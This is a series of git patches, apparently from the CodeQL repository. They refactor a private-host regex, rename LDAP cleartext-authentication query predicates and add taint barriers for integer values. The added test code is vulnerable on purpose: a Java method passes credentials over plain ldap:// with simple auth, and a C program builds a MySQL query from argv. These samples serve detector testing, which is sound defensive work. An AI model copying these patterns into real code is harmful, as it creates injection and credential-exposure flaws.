hosts, which only matches the host portion therefore checking for port is not necessary. - */ -private string getPrivateHostRegex() { - result = - "(?i)localhost(?:[:/?#].*)?|127\\.0\\.0\\.1(?:[:/?#].*)?|10(?:\\.[0-9]+){3}(?:[:/?#].*)?|172\\.16(?:\\.[0-9]+){2}(?:[:/?#].*)?|192.168(?:\\.[0-9]+){2}(?:[:/?#].*)?|\\[?0:0:0:0:0:0:0:1\\]?(?:[:/?#].*)?|\\[?::1\\]?(?:[:/?#].*)?" -} - /** * Class of Java URL constructor. */ @@ -76,7 +68,7 @@ class HttpStringLiteral extends StringLiteral { // Match URLs with the HTTP protocol and without private IP addresses to reduce false positives. exists(string s | this.getRepresentedString() = s | s.regexpMatch("(?i)http://[\\[a-zA-Z0-9].*") and - not s.substring(7, s.length()).regexpMatch(getPrivateHostRegex()) + not s.substring(7, s.length()) instanceof PrivateHostName ) } } @@ -101,7 +93,7 @@ predicate concatHttpString(Expr protocol, Expr host) { host.(VarAccess).getVariable().getAnAssignedValue().(CompileTimeConstantExpr).getStringValue() | hostString.length() = 0 or // Empty host is loopback address - hostString.regexpMatch(getPrivateHostRegex()) + hostString instanceof PrivateHostName ) } diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp index 9b7193bf52f..9241b52cf19 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp @@ -11,7 +11,7 @@ <example> <p>The following example shows two ways of using LDAP authentication. In the 'BAD' case, the credentials are transmitted in cleartext. In the 'GOOD' case, the credentials are transmitted over SSL.</p> - <sample src="InsecureLDAPAuth.java" /> + <sample src="InsecureLdapAuth.java" /> </example> <references> diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql index 663f4110524..37b3057fb2f 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql @@ -10,26 +10,19 @@ import java import semmle.code.java.frameworks.Jndi +import semmle.code.java.frameworks.Networking import semmle.code.java.dataflow.TaintTracking import DataFlow::PathGraph /** - * Gets a regular expression for matching private hosts, which only matches the host portion therefore checking for port is not necessary. + * Insecure (non-SSL, non-private) LDAP URL string literal. */ -private string getPrivateHostRegex() { - result = - "(?i)localhost(?:[:/?#].*)?|127\\.0\\.0\\.1(?:[:/?#].*)?|10(?:\\.[0-9]+){3}(?:[:/?#].*)?|172\\.16(?:\\.[0-9]+){2}(?:[:/?#].*)?|192.168(?:\\.[0-9]+){2}(?:[:/?#].*)?|\\[?0:0:0:0:0:0:0:1\\]?(?:[:/?#].*)?|\\[?::1\\]?(?:[:/?#].*)?" -} - -/** - * String of LDAP connections not in private domains. - */ -class LdapStringLiteral extends StringLiteral { - LdapStringLiteral() { +class InsecureLdapUrlLiteral extends StringLiteral { + InsecureLdapUrlLiteral() { // Match connection strings with the LDAP protocol and without private IP addresses to reduce false positives. exists(string s | this.getRepresentedString() = s | s.regexpMatch("(?i)ldap://[\\[a-zA-Z0-9].*") and - not s.substring(7, s.length()).regexpMatch(getPrivateHostRegex()) + not s.substring(7, s.length()) instanceof PrivateHostName ) } } @@ -47,24 +40,15 @@ class TypeHashtable extends Class { /** * Holds if a non-private LDAP string is concatenated from both protocol and host. */ -predicate concatLdapString(Expr protocol, Expr host) { - ( - protocol.(CompileTimeConstantExpr).getStringValue().regexpMatch("(?i)ldap(://)?") or - protocol - .(VarAccess) - .getVariable() - .getAnAssignedValue() - .(CompileTimeConstantExpr) - .getStringValue() - .regexpMatch("(?i)ldap(://)?") - ) and +predicate concatInsecureLdapString(Expr protocol, Expr host) { + protocol.(CompileTimeConstantExpr).getStringValue() = "ldap://" and not exists(string hostString | hostString = host.(CompileTimeConstantExpr).getStringValue() or hostString = host.(VarAccess).getVariable().getAnAssignedValue().(CompileTimeConstantExpr).getStringValue() | hostString.length() = 0 or // Empty host is loopback address - hostString.regexpMatch(getPrivateHostRegex()) + hostString instanceof PrivateHostName ) } @@ -76,22 +60,21 @@ Expr getLeftmostConcatOperand(Expr expr) { } /** - * String concatenated with `LdapStringLiteral`. + * String concatenated with `InsecureLdapUrlLiteral`. */ -class LdapString extends Expr { - LdapString() { - this instanceof LdapStringLiteral +class InsecureLdapUrl extends Expr { + InsecureLdapUrl() { + this instanceof InsecureLdapUrlLiteral or - concatLdapString(this.(AddExpr).getLeftOperand(), + concatInsecureLdapString(this.(AddExpr).getLeftOperand(), getLeftmostConcatOperand(this.(AddExpr).getRightOperand())) } } /** - * Tainted value passed to env `Hashtable` as the provider URL, i.e. - * `env.put(Context.PROVIDER_URL, tainted)` or `env.setProperty(Context.PROVIDER_URL, tainted)`. + * Holds if `ma` writes the `java.naming.provider.url` (also known as `Context.PROVIDER_URL`) key of a `Hashtable`. */ -predicate isProviderUrlEnv(MethodAccess ma) { +predicate isProviderUrlSetter(MethodAccess ma) { ma.getMethod().getDeclaringType().getAnAncestor() instanceof TypeHashtable and (ma.getMethod().hasName("put") or ma.getMethod().hasName("setProperty")) and ( @@ -106,8 +89,7 @@ predicate isProviderUrlEnv(MethodAccess ma) { } /** - * Holds if the value "simple" is passed to env `Hashtable` as the authentication mechanism, i.e. - * `env.put(Context.SECURITY_AUTHENTICATION, "simple")` or `env.setProperty(Context.SECURITY_AUTHENTICATION, "simple")`. + * Holds if `ma` sets `java.naming.security.authentication` (also known as `Context.SECURITY_AUTHENTICATION`) to `simple` in some `Hashtable`. */ predicate isSimpleAuthEnv(MethodAccess ma) { ma.getMethod().getDeclaringType().getAnAncestor() instanceof TypeHashtable and @@ -132,13 +114,13 @@ class LdapAuthFlowConfig extends TaintTracking::Configuration { LdapAuthFlowConfig() { this = "InsecureLdapAuth:LdapAuthFlowConfig" } /** Source of non-private LDAP connection string */ - override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof LdapString } + override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof InsecureLdapUrl } /** Sink of provider URL with simple authentication */ override predicate isSink(DataFlow::Node sink) { exists(MethodAccess pma | sink.asExpr() = pma.getArgument(1) and - isProviderUrlEnv(pma) and + isProviderUrlSetter(pma) and exists(MethodAccess sma | sma.getQualifier() = pma.getQualifier().(VarAccess).getVariable().getAnAccess() and isSimpleAuthEnv(sma) diff --git a/java/ql/src/semmle/code/java/frameworks/Networking.qll b/java/ql/src/semmle/code/java/frameworks/Networking.qll index 988510dd2e9..997b8075403 100644 --- a/java/ql/src/semmle/code/java/frameworks/Networking.qll +++ b/java/ql/src/semmle/code/java/frameworks/Networking.qll @@ -129,3 +129,13 @@ class UrlOpenConnectionMethod extends Method { this.getName() = "openConnection" } } + +/** + * A string matching private host names of IPv4 and IPv6, which only matches the host portion therefore checking for port is not necessary. + */ +class PrivateHostName extends string { + bindingset[this] + PrivateHostName() { + this.regexpMatch("(?i)localhost(?:[:/?#].*)?|127\\.0\\.0\\.1(?:[:/?#].*)?|10(?:\\.[0-9]+){3}(?:[:/?#].*)?|172\\.16(?:\\.[0-9]+){2}(?:[:/?#].*)?|192.168(?:\\.[0-9]+){2}(?:[:/?#].*)?|\\[?0:0:0:0:0:0:0:1\\]?(?:[:/?#].*)?|\\[?::1\\]?(?:[:/?#].*)?") + } +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected index 65abcef0a9b..c34c8966e0d 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected @@ -2,6 +2,7 @@ edges | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | +| InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:47:100:53 | ldapUrl | nodes | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | semmle.label | ldapUrl | @@ -9,7 +10,10 @@ nodes | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | semmle.label | ldapUrl | | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | +| InsecureLdapAuth.java:100:47:100:53 | ldapUrl | semmle.label | ldapUrl | #select | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" | LDAP connection string | | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:25:20:25:39 | ... + ... | LDAP connection string | | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:100:47:100:53 | ldapUrl | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:47:100:53 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" | LDAP connection string | diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java index 236880a1e8e..cc16047ebf2 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java @@ -89,4 +89,19 @@ public class InsecureLdapAuth { environment.put(Context.SECURITY_CREDENTIALS, password); InitialLdapContext ldapContext = new InitialLdapContext(environment, null); } + + + // BAD - Test LDAP authentication in cleartext using `DirContext` and string literals. + public void testCleartextLdapAuth4(String ldapUserName, String password) { + String ldapUrl = "ldap://ad.your-server.com:389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put("java.naming.factory.initial", + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put("java.naming.provider.url", ldapUrl); + environment.put("java.naming.referral", "follow"); + environment.put("java.naming.security.authentication", "simple"); + environment.put("java.naming.security.principal", ldapUserName); + environment.put("java.naming.security.credentials", password); + DirContext dirContext = new InitialDirContext(environment); + } } From 028e4756bb0ec34a183fa3b621f0d88b903f35b9 Mon Sep 17 00:00:00 2001 From: Jonathan Leitschuh <jonathan.leitschuh@gmail.com> Date: Mon, 4 Jan 2021 10:13:52 -0500 Subject: [PATCH 0402/1241] Apply suggestions from code review Co-authored-by: Anders Schack-Mulligen <aschackmull@users.noreply.github.com> --- java/ql/src/semmle/code/java/JDK.qll | 6 +++--- java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql | 7 +------ 2 files changed, 4 insertions(+), 9 deletions(-) diff --git a/java/ql/src/semmle/code/java/JDK.qll b/java/ql/src/semmle/code/java/JDK.qll index 78a326bb9b4..3b71396c920 100644 --- a/java/ql/src/semmle/code/java/JDK.qll +++ b/java/ql/src/semmle/code/java/JDK.qll @@ -212,14 +212,14 @@ class MethodSystemGetProperty extends Method { } /** - * Any method access to a method named `getProperty` on class `java.lang.System`. + * An access to a method named `getProperty` on class `java.lang.System`. */ class MethodAccessSystemGetProperty extends MethodAccess { MethodAccessSystemGetProperty() { getMethod() instanceof MethodSystemGetProperty } /** - * Holds true if this is a compile-time constant call for the specified `propertyName`. - * Eg. `System.getProperty("user.dir")`. + * Holds if this call has a compile-time constant first argument with the value `propertyName`. + * For example: `System.getProperty("user.dir")`. */ predicate hasCompileTimeConstantGetPropertyName(string propertyName) { this.getArgument(0).(CompileTimeConstantExpr).getStringValue() = propertyName diff --git a/java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql b/java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql index 2dd2979ad41..4ccacefa2c2 100644 --- a/java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql +++ b/java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql @@ -1,9 +1,4 @@ -/** - * @name SystemCall - * @description Test the definition of System Get Property - */ - -import default +import java from MethodAccessSystemGetProperty ma where ma.hasCompileTimeConstantGetPropertyName("user.dir") From 7a3f9c78950d14c8b78875bedcf389db3ac252ac Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 4 Jan 2021 15:18:08 +0000 Subject: [PATCH 0403/1241] C++: Add a test (cleaned up) that was previously in the internal repo. --- .../CWE-089/SqlTainted/SqlTainted.expected | 13 +++++++++ .../CWE/CWE-089/SqlTainted/SqlTainted.qlref | 1 + .../Security/CWE/CWE-089/SqlTainted/test.c | 27 +++++++++++++++++++ 3 files changed, 41 insertions(+) create mode 100644 cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected create mode 100644 cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.qlref create mode 100644 cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected new file mode 100644 index 00000000000..f9fd94e278d --- /dev/null +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected @@ -0,0 +1,13 @@ +edges +| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | (const char *)... | +| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | (const char *)... | +| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | query1 | +| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | query1 | +nodes +| test.c:14:20:14:23 | argv | semmle.label | argv | +| test.c:14:20:14:23 | argv | semmle.label | argv | +| test.c:19:18:19:23 | (const char *)... | semmle.label | (const char *)... | +| test.c:19:18:19:23 | (const char *)... | semmle.label | (const char *)... | +| test.c:19:18:19:23 | query1 | semmle.label | query1 | +#select +| test.c:19:18:19:23 | query1 | test.c:14:20:14:23 | argv | test.c:19:18:19:23 | query1 | This argument to a SQL query function is derived from $@ and then passed to mysql_query(sqlArg) | test.c:14:20:14:23 | argv | user input (argv) | diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.qlref new file mode 100644 index 00000000000..21a12e5eadd --- /dev/null +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.qlref @@ -0,0 +1 @@ +Security/CWE/CWE-089/SqlTainted.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c new file mode 100644 index 00000000000..1f437fcf856 --- /dev/null +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c @@ -0,0 +1,27 @@ +// Semmle test case for rule SprintfToSqlQuery.ql (Uncontrolled sprintf for SQL query) +// Associated with CWE-089: SQL injection. http://cwe.mitre.org/data/definitions/89.html + +///// Library routines ///// + +typedef unsigned long size_t; +int snprintf(char *s, size_t n, const char *format, ...); +void sanitizeString(char *stringOut, size_t len, const char *strIn); +int mysql_query(int arg1, const char *sqlArg); + +///// Test code ///// + +int main(int argc, char** argv) { + char *userName = argv[2]; + + // a string from the user is injected directly into an SQL query. + char query1[1000] = {0}; + snprintf(query1, 1000, "SELECT UID FROM USERS where name = \"%s\"", userName); + mysql_query(0, query1); // BAD + + // the user string is encoded by a library routine. + char userNameSanitized[1000] = {0}; + sanitizeString(userNameSanitized, 1000, userName); + char query2[1000] = {0}; + snprintf(query2, 1000, "SELECT UID FROM USERS where name = \"%s\"", userNameSanitized); + mysql_query(0, query2); // GOOD +} From 01b204ea30b880e388364b74be9cc319ced31423 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 4 Jan 2021 15:33:10 +0000 Subject: [PATCH 0404/1241] C++: Add a test case with a tainted integer. --- .../CWE-089/SqlTainted/SqlTainted.expected | 30 ++++++++++++------- .../Security/CWE/CWE-089/SqlTainted/test.c | 7 +++++ 2 files changed, 27 insertions(+), 10 deletions(-) diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected index f9fd94e278d..ebd8b1a77e8 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected @@ -1,13 +1,23 @@ edges -| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | (const char *)... | -| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | (const char *)... | -| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | query1 | -| test.c:14:20:14:23 | argv | test.c:19:18:19:23 | query1 | +| test.c:15:20:15:23 | argv | test.c:21:18:21:23 | (const char *)... | +| test.c:15:20:15:23 | argv | test.c:21:18:21:23 | (const char *)... | +| test.c:15:20:15:23 | argv | test.c:21:18:21:23 | query1 | +| test.c:15:20:15:23 | argv | test.c:21:18:21:23 | query1 | +| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | (const char *)... | +| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | (const char *)... | +| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | query3 | +| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | query3 | nodes -| test.c:14:20:14:23 | argv | semmle.label | argv | -| test.c:14:20:14:23 | argv | semmle.label | argv | -| test.c:19:18:19:23 | (const char *)... | semmle.label | (const char *)... | -| test.c:19:18:19:23 | (const char *)... | semmle.label | (const char *)... | -| test.c:19:18:19:23 | query1 | semmle.label | query1 | +| test.c:15:20:15:23 | argv | semmle.label | argv | +| test.c:15:20:15:23 | argv | semmle.label | argv | +| test.c:16:25:16:28 | argv | semmle.label | argv | +| test.c:16:25:16:28 | argv | semmle.label | argv | +| test.c:21:18:21:23 | (const char *)... | semmle.label | (const char *)... | +| test.c:21:18:21:23 | (const char *)... | semmle.label | (const char *)... | +| test.c:21:18:21:23 | query1 | semmle.label | query1 | +| test.c:33:18:33:23 | (const char *)... | semmle.label | (const char *)... | +| test.c:33:18:33:23 | (const char *)... | semmle.label | (const char *)... | +| test.c:33:18:33:23 | query3 | semmle.label | query3 | #select -| test.c:19:18:19:23 | query1 | test.c:14:20:14:23 | argv | test.c:19:18:19:23 | query1 | This argument to a SQL query function is derived from $@ and then passed to mysql_query(sqlArg) | test.c:14:20:14:23 | argv | user input (argv) | +| test.c:21:18:21:23 | query1 | test.c:15:20:15:23 | argv | test.c:21:18:21:23 | query1 | This argument to a SQL query function is derived from $@ and then passed to mysql_query(sqlArg) | test.c:15:20:15:23 | argv | user input (argv) | +| test.c:33:18:33:23 | query3 | test.c:16:25:16:28 | argv | test.c:33:18:33:23 | query3 | This argument to a SQL query function is derived from $@ and then passed to mysql_query(sqlArg) | test.c:16:25:16:28 | argv | user input (argv) | diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c index 1f437fcf856..85d5d462093 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c @@ -7,11 +7,13 @@ typedef unsigned long size_t; int snprintf(char *s, size_t n, const char *format, ...); void sanitizeString(char *stringOut, size_t len, const char *strIn); int mysql_query(int arg1, const char *sqlArg); +int atoi(const char *nptr); ///// Test code ///// int main(int argc, char** argv) { char *userName = argv[2]; + int userNumber = atoi(argv[3]); // a string from the user is injected directly into an SQL query. char query1[1000] = {0}; @@ -24,4 +26,9 @@ int main(int argc, char** argv) { char query2[1000] = {0}; snprintf(query2, 1000, "SELECT UID FROM USERS where name = \"%s\"", userNameSanitized); mysql_query(0, query2); // GOOD + + // an integer from the user is injected into an SQL query. + char query3[1000] = {0}; + snprintf(query3, 1000, "SELECT UID FROM USERS where number = \"%i\"", userNumber); + mysql_query(0, query3); // BAD [FALSE POSITIVE] } From 8ceb33d3f713ec7b841fa47fd792de561e92b943 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Mon, 4 Jan 2021 16:42:11 +0100 Subject: [PATCH 0405/1241] Python: Also restrict StepSumary::step --- python/ql/src/semmle/python/dataflow/new/TypeTracker.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll index 1bfc6218c57..b6de3cd7764 100644 --- a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll +++ b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll @@ -51,7 +51,7 @@ module StepSummary { * heap and/or inter-procedural step from `nodeFrom` to `nodeTo`. */ cached - predicate step(Node nodeFrom, Node nodeTo, StepSummary summary) { + predicate step(LocalSourceNode nodeFrom, Node nodeTo, StepSummary summary) { exists(Node mid | typePreservingStep*(nodeFrom, mid) and smallstep(mid, nodeTo, summary)) } From ba4a562c9a272bac132f2f453e2f9fff0b8b5a39 Mon Sep 17 00:00:00 2001 From: Jonathan Leitschuh <Jonathan.Leitschuh@gmail.com> Date: Mon, 4 Jan 2021 21:31:42 -0500 Subject: [PATCH 0406/1241] Update PrintAst.actual with new test output --- java/ql/src/semmle/code/java/PrintAst.ql | 3 +- .../test/library-tests/JDK/PrintAst.expected | 35 +++++++++++++++++++ 2 files changed, 36 insertions(+), 2 deletions(-) diff --git a/java/ql/src/semmle/code/java/PrintAst.ql b/java/ql/src/semmle/code/java/PrintAst.ql index 27e630d6936..3931a9670e6 100644 --- a/java/ql/src/semmle/code/java/PrintAst.ql +++ b/java/ql/src/semmle/code/java/PrintAst.ql @@ -16,6 +16,5 @@ class PrintAstConfigurationOverride extends PrintAstConfiguration { /** * TWEAK THIS PREDICATE AS NEEDED. */ - override predicate shouldPrint(Element e, Location l) { super.shouldPrint(e, l) and - not l.getFile().getBaseName().matches("SystemGetPropertyCall.java") } + override predicate shouldPrint(Element e, Location l) { super.shouldPrint(e, l) } } diff --git a/java/ql/test/library-tests/JDK/PrintAst.expected b/java/ql/test/library-tests/JDK/PrintAst.expected index ff260ac6c38..74967e122e3 100644 --- a/java/ql/test/library-tests/JDK/PrintAst.expected +++ b/java/ql/test/library-tests/JDK/PrintAst.expected @@ -60,3 +60,38 @@ jdk/A.java: # 28| 0: [ArrayTypeAccess] ...[] # 28| 0: [TypeAccess] String # 28| 5: [BlockStmt] stmt +jdk/SystemGetPropertyCall.java: +# 0| [CompilationUnit] SystemGetPropertyCall +# 3| 1: [Class] SystemGetPropertyCall +# 4| 3: [FieldDeclaration] String USER_DIR_PROPERTY, ...; +# 4| -1: [TypeAccess] String +# 4| 0: [StringLiteral] "user.dir" +# 6| 4: [Method] a +# 6| 3: [TypeAccess] void +# 6| 5: [BlockStmt] stmt +# 7| 0: [ExprStmt] stmt +# 7| 0: [MethodAccess] getProperty(...) +# 7| -1: [TypeAccess] System +# 7| 0: [StringLiteral] "user.dir" +# 10| 5: [Method] b +# 10| 3: [TypeAccess] void +# 10| 5: [BlockStmt] stmt +# 11| 0: [ExprStmt] stmt +# 11| 0: [MethodAccess] getProperty(...) +# 11| -1: [TypeAccess] System +# 11| 0: [StringLiteral] "user.dir" +# 11| 1: [StringLiteral] "HOME" +# 14| 6: [Method] c +# 14| 3: [TypeAccess] void +# 14| 5: [BlockStmt] stmt +# 15| 0: [ExprStmt] stmt +# 15| 0: [MethodAccess] getProperty(...) +# 15| -1: [TypeAccess] System +# 15| 0: [VarAccess] USER_DIR_PROPERTY +# 18| 7: [Method] d +# 18| 3: [TypeAccess] void +# 18| 5: [BlockStmt] stmt +# 19| 0: [ExprStmt] stmt +# 19| 0: [MethodAccess] getProperty(...) +# 19| -1: [TypeAccess] System +# 19| 0: [StringLiteral] "random.property" From 69efe7a72abe9f556d1023fa9060f9bf1a7a625a Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 5 Jan 2021 11:31:54 +0000 Subject: [PATCH 0407/1241] C++: Add isAdditionalBarrier to DefaultTaintTracking. --- .../code/cpp/ir/dataflow/DefaultTaintTracking.qll | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index 5154f5c3239..907cb628a85 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -545,6 +545,9 @@ module TaintedWithPath { /** Override this to specify which elements are sinks in this configuration. */ abstract predicate isSink(Element e); + /** Override this to specify additional barriers in this configuration. */ + predicate isAdditionalBarrier(Expr node) { none() } + /** * Override this predicate to `any()` to allow taint to flow through global * variables. @@ -578,7 +581,13 @@ module TaintedWithPath { ) } - override predicate isBarrier(DataFlow::Node node) { nodeIsBarrier(node) } + override predicate isBarrier(DataFlow::Node node) { + nodeIsBarrier(node) + or + exists(TaintTrackingConfiguration cfg, Expr e | + cfg.isAdditionalBarrier(e) and node = getNodeForExpr(e) + ) + } override predicate isBarrierIn(DataFlow::Node node) { nodeIsBarrierIn(node) } } From 18890c4a770031094bfa307e160b2dce82c997aa Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 5 Jan 2021 11:32:29 +0000 Subject: [PATCH 0408/1241] C++: Use isAdditionalBarrier in the SqlTainted query. --- cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql | 2 ++ .../CWE/CWE-089/SqlTainted/SqlTainted.expected | 10 ---------- .../query-tests/Security/CWE/CWE-089/SqlTainted/test.c | 2 +- 3 files changed, 3 insertions(+), 11 deletions(-) diff --git a/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql b/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql index de786d22f30..29db32a6b87 100644 --- a/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql +++ b/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql @@ -27,6 +27,8 @@ class Configuration extends TaintTrackingConfiguration { override predicate isSink(Element tainted) { exists(SQLLikeFunction runSql | runSql.outermostWrapperFunctionCall(tainted, _)) } + + override predicate isAdditionalBarrier(Expr e) { e.getUnspecifiedType() instanceof IntegralType } } from diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected index ebd8b1a77e8..af50f184740 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/SqlTainted.expected @@ -3,21 +3,11 @@ edges | test.c:15:20:15:23 | argv | test.c:21:18:21:23 | (const char *)... | | test.c:15:20:15:23 | argv | test.c:21:18:21:23 | query1 | | test.c:15:20:15:23 | argv | test.c:21:18:21:23 | query1 | -| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | (const char *)... | -| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | (const char *)... | -| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | query3 | -| test.c:16:25:16:28 | argv | test.c:33:18:33:23 | query3 | nodes | test.c:15:20:15:23 | argv | semmle.label | argv | | test.c:15:20:15:23 | argv | semmle.label | argv | -| test.c:16:25:16:28 | argv | semmle.label | argv | -| test.c:16:25:16:28 | argv | semmle.label | argv | | test.c:21:18:21:23 | (const char *)... | semmle.label | (const char *)... | | test.c:21:18:21:23 | (const char *)... | semmle.label | (const char *)... | | test.c:21:18:21:23 | query1 | semmle.label | query1 | -| test.c:33:18:33:23 | (const char *)... | semmle.label | (const char *)... | -| test.c:33:18:33:23 | (const char *)... | semmle.label | (const char *)... | -| test.c:33:18:33:23 | query3 | semmle.label | query3 | 